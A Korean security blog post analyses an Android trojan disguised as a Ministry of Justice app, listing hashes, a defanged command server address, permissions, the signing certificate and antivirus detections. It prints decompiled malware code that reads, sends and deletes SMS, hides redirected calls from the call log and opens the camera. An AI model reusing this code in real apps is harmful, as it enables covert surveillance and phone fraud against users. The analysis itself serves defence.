꿈을꾸는 파랑새

오늘은 법무부 사칭 악성코드인 법무부·apk에 대해 글을 적어 보겠습니다. 일단 법무부이라는 것은 1948년 7월 17일 대한민국 정부 조직과 동시에 설치된 부처로 설치 이전에는 현재의 법원 업무와 법무부 업무를 총괄했던 사법부가 군정법령 제64호 및 제67호로 설치되어 법무행정을 수행한 적이 있으며 정부과천청사에 법무부가 들어간 것은 1983년 대한민국 국방부와 더불어 정부수립 이래 단 한 번도 명칭이 바뀐 적이 없는 둘뿐인 중앙부처입니다.
일단 해당 악성코드 내부 이미지 파일을 보면 마치 주한 미국 대사관에서 보낸 서류가 들어가져 있는 것을 볼 수가 있고 반송된 내용 것을 확인할 수가 있습니다.

그리고 해당 악성코드를 실행을 시켜주면 국내 거주 아프간인 인도적 특별체류 조치 언론……. 이라고 돼 있는데 상당히 지난 내용인 것을 확인할 수가 있습니다.
그리고 해당 악성코드의 해쉬값은 다음과 같습니다.

법무부 악성코드 실행
법무부 악성코드 실행

파일명: 법무부.apk
사이즈:10.3 MB
CRC32:3fc2b44e
MD5:35b63aee95159328997c93f22b436110
SHA-1:4ab539cb4d95cab896ddd6c738995612d1f8fe8d

미대사관 반송 문서

SHA-256:1d324f18797991aea8e6e775790138d8967c6d110017efc0123eaa3238cf7e84
해당 악성코드를 실행하면 다음 IP를 사용하는 것을 확인할 수가 있었습니다.

범부무 악성코드 접근성
범부무 악성코드 접근성

http://8.209.205(.)65:8090

이며 안드로이드 권한은 다음과 같습니다.

법무부 악성코드 안드로이드 권한
법무부 악성코드 안드로이드 권한

<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.START_ACTIVITIES_FROM_BACKGROUND"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-feature android:name="android.hardware.camera" android:required="true"/>
<uses-feature android:name="android.hardware.camera.autofocus"/>
<uses-feature android:name="android.hardware.telephony"/>

안드로이드 스마트폰의 대부분을 가져가는 것을 볼 수가 있습니다. 그리고 해당 악성코드는 DEX는 2개 존재하고 해쉬값은 다음과 같습니다.
Dex File Name:classes.dex
File Size:8531752 bytes
MD5:e190e6877e60fba6bf6147a2fa841181
Class Size:5634
Method Size:65074
String Size:53073
Dex File Name:classes2.dex
File Size:1091704 bytes
MD5:c7e5e31c602a15ee7e71b817f8bc062b
Class Size: 852
Method Size:6008
String Size:8182
입니다.

문자 관련 코드
문자 관련 코드

패키지 이름:com.securenet.assistant.view20220112
com.securenet.assistant.utils.SMSUtil 부분에서는 문자 관련 코드가 존재하는 것을 볼 수가 있습니다.

public class SMSUtil {
    private static final int MAX_COUNT_MMS = 100;
    private static final int MAX_COUNT_SMS = 300;

    public static void sendMessage(String str, String str2) {
        try {
            SmsManager.getDefault().sendTextMessage(str, null, str2, null, null);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static SmsResult getList(Context context, int i, int i2, String str) {
        try {
            Cursor query = context.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");
            int i3 = MAX_COUNT_SMS;
            ArrayList arrayList = new ArrayList((int) MAX_COUNT_SMS);
            if (query != null) {
                int i4 = 0;
                while (query.moveToNext()) {
                    i4++;
                    if (i4 >= i3) {
                        break;
                    }
                    SmsInfo smsInfo = new SmsInfo();
                    smsInfo.setId(Integer.valueOf(Integer.parseInt(query.getString(query.getColumnIndex("_id")))));
                    smsInfo.setType(query.getString(query.getColumnIndex("type")));
                    String string = query.getString(query.getColumnIndex("person"));
                    if (string == null) {
                        string = "Unknown";
                    }
                    smsInfo.setName(string);
                    smsInfo.setNumber(query.getString(query.getColumnIndex("address")));
                    smsInfo.setBody(query.getString(query.getColumnIndex("body")));
                    smsInfo.setDate(Long.valueOf(Long.parseLong(query.getString(query.getColumnIndex("date")))));
                    if (!(smsInfo.getBody() == null || smsInfo.getNumber() == null || (str != null && str != "" && !smsInfo.getNumber().contains(str) && !smsInfo.getBody().contains(str)))) {
                        if (smsInfo.getBody().length() > 100) {
                            smsInfo.setBody(smsInfo.getBody().substring(0, 100));
                        }
                        smsInfo.setBody(smsInfo.getBody() + "::[SMS]");
                        arrayList.add(smsInfo);
                    }
                    i3 = MAX_COUNT_SMS;
                }
                query.close();
            }
            Cursor query2 = context.getContentResolver().query(Uri.parse("content://mms/"), new String[]{"_id", "date", "msg_box"}, null, null, "date desc");
            if (query2 != null) {
                int i5 = 0;
                while (query2.moveToNext()) {
                    i5++;
                    if (i5 >= 100) {
                        break;
                    }
                    SmsInfo smsInfo2 = new SmsInfo();
                    String string2 = query2.getString(query2.getColumnIndex("_id"));
                    smsInfo2.setId(Integer.valueOf(Integer.parseInt(string2) * (-1)));
                    smsInfo2.setDate(Long.valueOf(query2.getLong(query2.getColumnIndex("date")) * 1000));
                    smsInfo2.setName("Unknown");
                    smsInfo2.setType(query2.getString(query2.getColumnIndex("msg_box")));
                    smsInfo2.setNumber(getAddressNumber(context, string2, smsInfo2.getType()));
                    Cursor query3 = context.getContentResolver().query(Uri.parse("content://mms/part"), null, "mid=" + string2, null, null);
                    if (query3 != null) {
                        while (true) {
                            if (!query3.moveToNext()) {
                                break;
                            } else if ("text/plain".equals(query3.getString(query3.getColumnIndex("ct")))) {
                                if (query3.getString(query3.getColumnIndex("_data")) != null) {
                                    smsInfo2.setBody(getMmsText(context, query3.getString(query3.getColumnIndex("_id"))));
                                } else {
                                    smsInfo2.setBody(query3.getString(query3.getColumnIndex("text")));
                                }
                            }
                        }
                        query3.close();
                    }
                    if (!(smsInfo2.getBody() == null || smsInfo2.getNumber() == null || (str != null && str != "" && !smsInfo2.getNumber().contains(str) && !smsInfo2.getBody().contains(str)))) {
                        if (smsInfo2.getBody().length() > 100) {
                            smsInfo2.setBody(smsInfo2.getBody().substring(0, 100));
                        }
                        smsInfo2.setBody(smsInfo2.getBody() + "::[MMS]");
                        arrayList.add(smsInfo2);
                    }
                }
                query2.close();
            }
            Collections.sort(arrayList, SMSUtil$$ExternalSyntheticLambda0.INSTANCE);
            ArrayList arrayList2 = new ArrayList(i2);
            Integer valueOf = Integer.valueOf(i * i2);
            Integer valueOf2 = Integer.valueOf((i + 1) * i2);
            Integer valueOf3 = Integer.valueOf(arrayList.size());
            if (valueOf.intValue() <= valueOf3.intValue()) {
                int intValue = valueOf.intValue();
                if (valueOf2.intValue() > valueOf3.intValue()) {
                    valueOf2 = valueOf3;
                }
                arrayList2.addAll(arrayList.subList(intValue, valueOf2.intValue()));
            }
            return new SmsResult(arrayList2, Integer.valueOf(arrayList.size()));
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    public static Boolean deleteMessage(Context context, int i) {
        boolean z = true;
        if (!SmsWriteOpUtil.isWriteEnabled(context)) {
            SmsWriteOpUtil.setWriteEnabled(context, true);
        }
        try {
            if (context.getContentResolver().delete(Uri.parse("content://sms/#"), "_id = ?", new String[]{String.valueOf(i)}) <= 0) {
                z = false;
            }
            return Boolean.valueOf(z);
        } catch (Exception e) {
            e.printStackTrace();
            return false;
        }
    }

그리고 com.securenet.assistant.service.PhoneCallService 에서는 전화 걸기 관련 코드들이 있습니다.

전화 걸기 코드
전화 걸기 코드

@Override // android.telecom.InCallService
    public void onCallRemoved(Call call) {
        super.onCallRemoved(call);
        call.unregisterCallback(this.callback);
        PhoneManager.getInstance(this).setCall(null, CallType.NULLL);
        final String str = dialNumber;
        if (str != null) {
            dialNumber = null;
            if (Build.VERSION.SDK_INT >= 28) {
                this.uiHandler.postDelayed(new Runnable() { // from class: com.securenet.assistant.service.PhoneCallService$$ExternalSyntheticLambda6
                    @Override // java.lang.Runnable
                    public final void run() {
                        PhoneCallService.this.m87x131efb0f(str);
                    }
                }, 400L);
            } else {
                callNumber(str);
            }
        }
    }

    /* renamed from: lambda$onCallRemoved$6$com-securenet-assistant-service-PhoneCallService */
    public /* synthetic */ void m87x131efb0f(String str) {
        PhoneCallLog last = PhoneCall.last(this);
        if (last != null) {
            PhoneCall.delete(this, last.getId());
        }
        callNumber(str);
    }
}

com.securenet.assistant.utils.CameraPicture,com.securenet.rtmppublisher.Camera에서는 카메라 관련 코드들이 보이는 것을 확인할 수가 있습니다.

카메라 관련 코드
카메라 관련 코드

public CameraPicture(Context context, String str) {
        HandlerThread handlerThread = new HandlerThread("CameraPicture");
        this.handlerThread = handlerThread;
        handlerThread.start();
        this.cameraHandler = new Handler(handlerThread.getLooper());
        CameraManager cameraManager = (CameraManager) context.getSystemService("camera");
        this.cameraManager = cameraManager;
        this.context = context;
        this.f181id = str;
        try {
            this.cameraIdList = cameraManager.getCameraIdList();
        } catch (CameraAccessException e) {
            e.printStackTrace();
        }
    }

    public boolean start(boolean z) {
        if (this.cameraIdList == null) {
            return false;
        }
        this.mainCamera = z;
        Opened = true;
        try {
            String str = "0";
            Size[] outputSizes = ((StreamConfigurationMap) this.cameraManager.getCameraCharacteristics(z ? str : "1").get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getOutputSizes(35);
            if (ActivityCompat.checkSelfPermission(this.context, "android.permission.CAMERA") != 0) {
                return false;
            }
            this.width = outputSizes[0].getWidth();
            this.height = outputSizes[0].getHeight();
            CameraManager cameraManager = this.cameraManager;
            if (!z) {
                str = "1";
            }
            cameraManager.openCamera(str, this.cameraDeviceStateCallback, this.cameraHandler);
            return true;
        } catch (CameraAccessException e) {
            e.printStackTrace();
            return false;
        }
    }

악성코드에 포함된 인터넷 주소는 다음과 같습니다.

PluginProtosZ9github(.)com/golang/protobuf/protoc-gen-go/plugin;plugin_go
ERP(.)ERR/ERS-ETT0EnT=Q
ZAgoogle.golang(.)org/genproto/protobuf/source_context;source_context
https://dns.google(.)com/resolve?type=A&name=
http://ekallevig(.)com/jshowoff
http://%s:8090/ring/%s(.)mp3
vnd.android.cursor(.)item/phone_v2
http://schemas.android(.)com/apk/res-auto
Z1github(.)com/golang/protobuf/ptypes/struct;structpb
http://schemas.android(.)com/apk/res/android
Z9google.golang(.)org/genproto/protobuf/field_mask;field_mask
http://%s(:)%d
vnd.android.cursor(.)item/name
http://ns.adobe(.)com/xap/1.0/

입니다. 그리고 악성코드에 포함된 인증서 내용은 다음과 같습니다.

악성코드 인증서
악성코드 인증서

서명자 CERT.RSA (META-INF/CERT.SF)
유형: X.509
버전: 3
시리얼 번호: 0xa2443c2
소유자: CN=img, OU=japan, O=japan, L=japan, ST=japan, C=81
유효 시작 시각: Wed Jan 12 21:15:18 GMT+09:00 2022
유효 종료 시각: Sun Jan 06 21:15:18 GMT+09:00 2047
공개키 타입: RSA
지수: 65537
모듈러스 크기 (비트): 2048
모듈러스: 19727132717325037372294816403507488649308387552459184445472040118551207977551166834729132796765729100297583778864724656678103856900001039497275734057034741629649795557187269733418996592782685685286139370520546038767348748776552360706310580153058737173724250760673616599961766397369014945302565928322496780983735759620322410012091904937172076486467915611497773653725535633606606449650636889277026643003813245223556452494541670332949508956406268630471146661598629588693316167056460712415332131155554492506198120075371711235372766446554889695266055954198458483814420508612333599557786041100315054054266420999073188009393
서명 유형: SHA256withRSA
서명 OID: 1.2.840.113549.1.1.11
MD5 지문: BC A9 45 15 5F 5A B4 7F 94 E6 92 59 E1 6C 1C 0B 
SHA-1 지문: 84 92 E8 12 13 A6 8E FB 73 A2 57 A9 5C AC 48 FE 4E D1 91 9E 
SHA-256 지문: 90 C2 D7 FE 14 67 D3 93 31 FA 07 7C 13 43 C1 4C 3E 1F 67 E0 2A 70 F0 3C A6 D2 CF 06 79 78 BC 14

2022-02-21 07:45:43 UTC 기준 바이러스토탈에서 탐지를 하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Alibaba:TrojanBanker:Android/Fakecalls.a4861206
Avast-Mobile:Android:Evo-gen [Trj]
Avira (no cloud):ANDROID/Fakecalls.GAN.Gen
BitDefenderFalx:Android.Trojan.Agent.gQMQR
CAT-QuickHeal:Android.Fakecalls.A59c8
Cynet:Malicious (score: 99)
DrWeb:Android.BankBot.930.origin
ESET-NOD32:A Variant Of Android/Spy.Agent.BSY
F-Secure:Malware.ANDROID/Fakecalls.GAN.Gen
Fortinet:Android/Agent.BSY!tr
Ikarus:Trojan-Spy.AndroidOS.Agent
K7GW:Trojan ( 0058c2f41 )
Kaspersky:HEUR:Trojan-Banker.AndroidOS.Fakecalls.r
Lionic:Trojan.AndroidOS.Fakecalls.C!c
MAX:Malware (ai Score=77)
McAfee:Artemis!E190E6877E60
McAfee-GW-Edition:Artemis!Trojan
Microsoft:Trojan:AndroidOS/Multiverze
NANO-Antivirus:Trojan.Android.BankBot.jklegz
Sophos:Andr/Xgen-AVM
Symantec:Trojan.Gen.2
Symantec Mobile Insight:AppRisk:Generisk
Tencent:A.privacy.InfoStealer
Trustlook:Android.Malware.Trojan
ZoneAlarm by Check Point:HEUR:Trojan-Banker.AndroidOS.Fakecalls.r
입니다. 일단 기본적으로 사용하는 안드로이드 스마트폰에서는 기본적으로 V3, 알약 같은 백신앱 설치를 권장하면 조금 더 좋은 성능을 원한다면 유료 백신 앱을 사용을 하시는 것도 좋은 방법입니다. 이상 간단하게 법무부 사칭 악성코드에 대해 적어 보았습니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band